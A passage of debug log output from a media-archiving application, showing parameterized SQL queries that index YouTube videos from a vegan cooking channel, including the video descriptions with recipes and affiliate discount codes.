https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANK30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Costco High-Protein Vegan Grocery Haul", 1, nil, false, "Vfqen6vY7aI", "https://www.youtube.com/watch?v=Vfqen6vY7aI", "/downloads/downloads/alec/Steamy Vegan/2024-12-08 Costco High-Protein Vegan Grocery Haul/Costco High-Protein Vegan Grocery Haul [Vfqen6vY7aI].NA", false, ~U[2024-12-08 00:00:00Z]] 20:31:07.076 [debug] QUERY OK source="sources" db=1.0ms idle=8.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.078 [debug] QUERY OK source="media_items" db=2.1ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-06 00:00:00Z], 1] 20:31:07.080 [debug] QUERY OK source="media_items" db=1.5ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this Trader Joe's taste test we'll try out a bunch of Fall and Winter groceries that we just bought in our latest Trader Joe's grocery haul. Join us for a few laughs as we taste test all kinds of plant-based Trader Joe's groceries!\n\nCheck out the full grocery haul here: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Grocery...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items!", "d1bf1697-0582-4cea-b579-ee23002d4a0f", 1, [], false, "AHZCg5lD19s", "https://www.youtube.com/watch?v=AHZCg5lD19s", 135, "/downloads/downloads/alec/Steamy Vegan/2024-12-06 Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items!/Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items! [AHZCg5lD19s].NA", false, false, false, 1, ~U[2024-12-06 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this Trader Joe's taste test we'll try out a bunch of Fall and Winter groceries that we just bought in our latest Trader Joe's grocery haul. Join us for a few laughs as we taste test all kinds of plant-based Trader Joe's groceries!\n\nCheck out the full grocery haul here: \u00A0\u00A0\u00A0•\u00A0Trader\u00A0Joe's\u00A0Vegan\u00A0and\u00A0Gluten-Free\u00A0Grocery...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items!", 1, nil, false, "AHZCg5lD19s", "https://www.youtube.com/watch?v=AHZCg5lD19s", "/downloads/downloads/alec/Steamy Vegan/2024-12-06 Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items!/Trader Joe's Vegan Taste Test 🎄 New HOLIDAY Items! [AHZCg5lD19s].NA", false, ~U[2024-12-06 00:00:00Z]] 20:31:07.082 [debug] QUERY OK source="sources" db=1.1ms idle=9.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.084 [debug] QUERY OK source="media_items" db=2.1ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-04 00:00:00Z], 1] 20:31:07.087 [debug] QUERY OK source="media_items" db=1.8ms idle=9.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I’ll be showing you delicious high protein vegan recipes that are quick, healthy and easy to make! I’m also sharing my new 90 day fitness transformation journey as a vegan and how I plan to get into the best shape of my life.\n\nYESOUL FITNESS: Save $100 off a G1M Plus Indoor Bike 🚲 from Yesoul using my code STEAMYVEGAN\nCheck out the bike here ➡️ https://bit.ly/4eYFr0A\n(I receive a commission from orders using my code — thank you for supporting my content!)\n#yesoul #funcardio #cyclingindoor #yesoulfitness #pelotonalternative \n\nWhy I love the G1M Plus Indoor Bike:\nIt’s a more affordable alternative to a Peloton bike with just as many features\nDoesn’t require special shoes\nNo app is needed to enjoy the bike\nYesoul app (optional download) is only $9.99/month and has great workouts\nFree screen casting to your devices (cords included!)\nLarge rotatable 21.5” screen with great speakers\nIt’s FUN cardio!\n\nRECIPES MENTIONED IN THIS VIDEO\n\nInstant Pot Potato & Leek Soup ➡️ https://steamyvegan.com/rustic-red-po...\nTofu Florentine (in my Italian meal prep) ➡️ https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 30% off your order for Black Friday up until December 5, 2024\nCode: JOSTVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation", "6c084976-2556-42f3-9176-5d72e4417b51", 1, [], false, "xze95c96Bjk", "https://www.youtube.com/watch?v=xze95c96Bjk", 136, "/downloads/downloads/alec/Steamy Vegan/2024-12-04 What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation/What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation [xze95c96Bjk].NA", false, false, false, 1, ~U[2024-12-04 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "In this video I’ll be showing you delicious high protein vegan recipes that are quick, healthy and easy to make! I’m also sharing my new 90 day fitness transformation journey as a vegan and how I plan to get into the best shape of my life.\n\nYESOUL FITNESS: Save $100 off a G1M Plus Indoor Bike 🚲 from Yesoul using my code STEAMYVEGAN\nCheck out the bike here ➡️ https://bit.ly/4eYFr0A\n(I receive a commission from orders using my code — thank you for supporting my content!)\n#yesoul #funcardio #cyclingindoor #yesoulfitness #pelotonalternative \n\nWhy I love the G1M Plus Indoor Bike:\nIt’s a more affordable alternative to a Peloton bike with just as many features\nDoesn’t require special shoes\nNo app is needed to enjoy the bike\nYesoul app (optional download) is only $9.99/month and has great workouts\nFree screen casting to your devices (cords included!)\nLarge rotatable 21.5” screen with great speakers\nIt’s FUN cardio!\n\nRECIPES MENTIONED IN THIS VIDEO\n\nInstant Pot Potato & Leek Soup ➡️ https://steamyvegan.com/rustic-red-po...\nTofu Florentine (in my Italian meal prep) ➡️ https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 30% off your order for Black Friday up until December 5, 2024\nCode: JOSTVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation", 1, nil, false, "xze95c96Bjk", "https://www.youtube.com/watch?v=xze95c96Bjk", "/downloads/downloads/alec/Steamy Vegan/2024-12-04 What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation/What I Eat in a Day as a Vegan + My 90 Day Fitness Transformation [xze95c96Bjk].NA", false, ~U[2024-12-04 00:00:00Z]] 20:31:07.088 [debug] QUERY OK source="sources" db=0.5ms idle=8.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.090 [debug] QUERY OK source="media_items" db=2.4ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-30 00:00:00Z], 1] 20:31:07.092 [debug] QUERY OK source="media_items" db=1.6ms idle=8.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["This easy vegan meal prep comes together in under 2 hours, has 5 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Italian vegan recipes as there are so many vegan recipes that are perfect for healthy & easy meal prep: focaccia bread, pasta bakes, mushroom risotto, Italian wedding soup, and tofu florentine are what we're doing today!\n\nFind all the recipes (including the free PDF) in my blog post here! ➡️ https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:48 - Focaccia Bread Recipe\n7:10 - Pumpkin Pasta Bake\n12:29 - Mushroom Risotto Recipe\n17:07 - Italian Wedding Soup Recipe\n22:51 - Tofu Florentine Recipe", "Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF", "6ce24f49-da18-4395-ad62-5371cc3d03ad", 1, [], false, "hUh8Bs5Wo6s", "https://www.youtube.com/watch?v=hUh8Bs5Wo6s", 137, "/downloads/downloads/alec/Steamy Vegan/2024-11-30 Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF/Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF [hUh8Bs5Wo6s].NA", false, false, false, 1, ~U[2024-11-30 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "This easy vegan meal prep comes together in under 2 hours, has 5 vegan recipes, and will provide you with a week of healthy vegan recipes! I love Italian vegan recipes as there are so many vegan recipes that are perfect for healthy & easy meal prep: focaccia bread, pasta bakes, mushroom risotto, Italian wedding soup, and tofu florentine are what we're doing today!\n\nFind all the recipes (including the free PDF) in my blog post here! ➡️ https://steamyvegan.com/italian-vegan...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGAN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:48 - Focaccia Bread Recipe\n7:10 - Pumpkin Pasta Bake\n12:29 - Mushroom Risotto Recipe\n17:07 - Italian Wedding Soup Recipe\n22:51 - Tofu Florentine Recipe", "Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF", 1, nil, false, "hUh8Bs5Wo6s", "https://www.youtube.com/watch?v=hUh8Bs5Wo6s", "/downloads/downloads/alec/Steamy Vegan/2024-11-30 Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF/Italian Vegan Meal Prep! 5 Vegan Recipes, Week of Vegan Food! Free PDF [hUh8Bs5Wo6s].NA", false, ~U[2024-11-30 00:00:00Z]] 20:31:07.094 [debug] QUERY OK source="sources" db=1.2ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.096 [debug] QUERY OK source="media_items" db=2.1ms idle=7.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-26 00:00:00Z], 1] 20:31:07.099 [debug] QUERY OK source="media_items" db=1.4ms idle=9.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["These 8 vegan holiday recipes are perfect for Thanksgiving dinner, Christmas, or if you just want to do some meal prep for the week to taste all the holiday flavors. I'll show you 5 classic vegan and gluten-free recipes that I make every year for Thanksgiving and Christmas and 3 vegan appetizers that are perfect to snack on before the big feast!\n\nALL RECIPES IN THIS BLOG POST HERE! ➡️ https://steamyvegan.com/vegan-holiday...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:40 - Maple Sweet Potatoes Recipe\n1:07 - Cornbread Stuffing Recipe\n1:49 - Harvard Beets Recipe\n2:11 - Dill and Garlic Mashed Potatoes Recipe\n3:15 - Soy Curl Turkey Strips with Mushroom Gravy\n4:15 - Chickpea 'Krab' Stuffed Mushroom Caps Recipe\n6:55 - Vegan Cheese Ball Recipe\n7:38 - Zesty Vegan Pinwheels Recipe", "8 Vegan Holiday Recipes for Dinner or Meal Prep!", "9f25f25e-b580-4ecc-897c-033e6315de34", 1, [], false, "ixMsMSsqzno", "https://www.youtube.com/watch?v=ixMsMSsqzno", 138, "/downloads/downloads/alec/Steamy Vegan/2024-11-26 8 Vegan Holiday Recipes for Dinner or Meal Prep!/8 Vegan Holiday Recipes for Dinner or Meal Prep! [ixMsMSsqzno].NA", false, false, false, 1, ~U[2024-11-26 00:00:00Z], ~U[2026-03-22 03:31:07Z], ~U[2026-03-22 03:31:07Z], "These 8 vegan holiday recipes are perfect for Thanksgiving dinner, Christmas, or if you just want to do some meal prep for the week to taste all the holiday flavors. I'll show you 5 classic vegan and gluten-free recipes that I make every year for Thanksgiving and Christmas and 3 vegan appetizers that are perfect to snack on before the big feast!\n\nALL RECIPES IN THIS BLOG POST HERE! ➡️ https://steamyvegan.com/vegan-holiday...\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n🪴 My Indoor Hydroponic Garden\nIndoor Garden Works 🌱 10% off an iHarvest\nCode: STEAMYVEGAN\n🔗: https://igworks.com/products/iharvest...\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com\n\nTimestamps\n0:00 - Introduction\n0:40 - Maple Sweet Potatoes Recipe\n1:07 - Cornbread Stuffing Recipe\n1:49 - Harvard Beets Recipe\n2:11 - Dill and Garlic Mashed Potatoes Recipe\n3:15 - Soy Curl Turkey Strips with Mushroom Gravy\n4:15 - Chickpea 'Krab' Stuffed Mushroom Caps Recipe\n6:55 - Vegan Cheese Ball Recipe\n7:38 - Zesty Vegan Pinwheels Recipe", "8 Vegan Holiday Recipes for Dinner or Meal Prep!", 1, nil, false, "ixMsMSsqzno", "https://www.youtube.com/watch?v=ixMsMSsqzno", "/downloads/downloads/alec/Steamy Vegan/2024-11-26 8 Vegan Holiday Recipes for Dinner or Meal Prep!/8 Vegan Holiday Recipes for Dinner or Meal Prep! [ixMsMSsqzno].NA", false, ~U[2024-11-26 00:00:00Z]] 20:31:07.101 [debug] QUERY OK source="sources" db=1.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:07.104 [debug] QUERY OK source="media_items" db=2.3ms idle=9.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-24 00:00:00Z], 1] 20:31:07.108 [debug] QUERY OK source="media_items" db=2.0ms idle=10.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this what I eat in a day I was super busy with putting up my Christmas tree, running around doing a few errands, working out, and honestly I just needed some easy vegan recipes that I could do in under 20 minutes. Most of these easy vegan recipes actually used products that I bought at Trader Joe's and should help you out with the holidays!\n\nRECIPES:\nChickpea mash\n1 can chickpeas\n2 tbsp tahini\n2 tbsp lemon juice\n1 tbsp dijon mustard\n2 cloves garlic\npinch of chili flakes\nhandful of spinach\nsalt and pepper\n\nMiso Tahini Garlic Butter ➡️ \u00A0\u00A0\u00A0•\u00A04\u00A0Ingredient,\u00A010\u00A0Minute\u00A0Vegan\u00A0Recipes\u00A0For\u00A0...\u00A0\u00A0\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplements: 15% off your purchase (Available internationally 🌎)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: STEAMYVEGANKITCHEN30\n🔗: https://goodprotein.ca/?ref=Janelle\n\n💧My Fave Water Filtration System\nSantevia Water 